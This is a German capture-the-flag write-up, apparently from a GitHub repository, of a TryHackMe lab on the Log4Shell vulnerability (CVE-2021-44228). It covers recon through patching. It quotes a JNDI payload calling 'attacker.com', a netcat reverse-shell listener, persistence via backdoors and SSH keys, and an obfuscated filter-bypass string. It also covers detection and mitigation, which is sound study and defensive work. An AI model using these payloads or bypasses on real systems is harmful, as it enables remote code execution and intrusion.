saru1718/thm---solar-exploiting-log-4jDieser Raum basiert auf der Ausnutzung der berüchtigten Log4j-Sicherheitslücke (CVE-2021-44228), auch bekannt als Log4Shell. Die Schwachstelle ermöglicht es Angreifern, durch die Injektion bösartiger Payloads in die Logmeldungen einen Remote-Code auszuführen.
Dieser Raum basiert auf der Ausnutzung der berüchtigten Log4j-Schwachstelle (CVE-2021-44228), auch bekannt als Log4Shell. Die Schwachstelle ermöglicht es Angreifern, Remote-Code durch die Einschleusung bösartiger Payloads in die Logmeldungen auszuführen.
AUFGABE 1 – EINFÜHRUNG IN CVE-2021-44228
In dieser Aufgabe lernte ich etwas über die Log4Shell-Schwachstelle (CVE-2021-44228) in Apache Log4j. • Log4j ist eine weit verbreitete Java-Logging-Bibliothek. • Die Schwachstelle ermöglicht die Ausführung von Remote-Code (RCE) über JNDI-Lookups. • Angreifer können Payloads wie folgt injecten: ${jndi:ldap://attacker.com/a} • Wenn protokolliert, kontaktiert der Server den vom Angreifer kontrollierten Server und führt schädlichen Code aus. 👉 Dies zeigte, wie gefährlich das Protokollieren von Benutzereingaben ohne Bereinigung sein kann.
AUFGABE 2 – AUFKLÄRUNG
Hier begann ich mit dem Zielsystem zu interagieren. • Auf die Webanwendung zugegriffen. • Eingabefelder und Header identifiziert, die möglicherweise protokolliert werden. • Beobachtet, wie die Anwendung Benutzereingaben verarbeitet. 👉 Ziel: Herausfinden, wo Log4j verwendet wird und wo Payloads injiziert werden können.
AUFGABE 3 – ENTDECKUNG
In diesem Schritt bestätigte ich die Schwachstelle. • Payload-Injektion in Headern getestet wie: • User-Agent • X-Forwarded-For • Auf ausgehende Verbindungen oder Antworten geprüft. 👉 Dies half zu bestätigen, dass die Anwendung anfällig für Log4Shell ist.
AUFGABE 4 – KONZEPTNACHWEIS
Ich erstellte einen funktionierenden PoC, um die Schwachstelle zu demonstrieren. • Einen Listener/Server eingerichtet, um Rückmeldungen zu erkennen. • Einen JNDI-Payload injiziert. • Beobachtet, dass das Ziel eine Anfrage an meinen Server gesendet hat. 👉 Dies bestätigte die entfernte Interaktion → die Schwachstelle ist ausnutzbar.
AUFGABE 5 – AUSNUTZUNG
Hier stieg ich vom PoC zur vollständigen Ausnutzung auf. • Einen schädlichen Payload (Java-Klasse oder Skript) gehostet. • JNDI-Injektion verwendet, um den Server zum Laden zu zwingen. • Eine Reverse Shell erlangt. Beispiel: nc -lvnp 4444 👉 Erfolgreich Remote-Code-Ausführung erreicht.
AUFGABE 6 – PERSISTENZ
Nachdem ich Zugriff erlangt hatte, stellte ich dauerhaften Zugriff sicher. • Hintertüren erstellt oder SSH-Schlüssel hinzugefügt. • Systemkonfigurationen bei Bedarf geändert. 👉 Dies stellt den Zugriff auch nach einem Neustart oder Session-Verlust sicher.
AUFGABE 7 – ERKENNUNG
Diese Aufgabe konzentrierte sich auf die Erkennung von Angriffen. • Gelernt, wie Log4j-Exploits in Logs erscheinen. • Indikatoren: • ${jndi:ldap://...} Muster • Verdächtiger ausgehender LDAP/DNS-Verkehr 👉 Wichtig für Blue Teams, um Ausnutzungsversuche zu erkennen.
AUFGABE 8 – UMGEHUNGEN
Hier erkundete ich, wie Angreifer Filter umgehen. • Verschleierungstechniken: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Kodierung von Payloads, um der Erkennung zu entgehen. 👉 Zeigt, dass einfaches Filtern nicht ausreicht.
AUFGABE 9 – SCHADENSBEGRENZUNG
Gelernt, wie man das Risiko ohne vollständiges Patchen reduziert. • JNDI-Lookups deaktivieren • Ausgehende Netzwerkverbindungen einschränken • WAF-Regeln verwenden 👉 Vorübergehende Abwehrmaßnahmen vor ordnungsgemäßem Patchen.
AUFGABE 10 – PATCHEN
Konzentriert auf dauerhafte Korrekturen. • Log4j aktualisieren auf: • 2.17.0 oder später • Anfällige Klassen entfernen: JndiLookup.class 👉 Ordnungsgemäßes Patchen beseitigt die Schwachstelle vollständig.
AUFGABE 11 – DANKSAGUNGEN UND ANMERKUNGEN DES AUTORS
• Anerkennung der Raumersteller. • Zusammenfassung der Lernziele. • Abschließende Einblicke in die Auswirkungen von Log4Shell.
ABSCHLIESSENDE GEDANKEN
Dieser Raum gab mir ein vollständiges Verständnis von: • Wie eine kritische reale Schwachstelle funktioniert • Wie Angreifer sie Schritt für Schritt ausnutzen • Wie Verteidiger sie erkennen und verhindern 👉 Es war eine großartige praktische Erfahrung mit einer der wirkungsvollsten Schwachstellen in der Geschichte der Cybersicherheit.
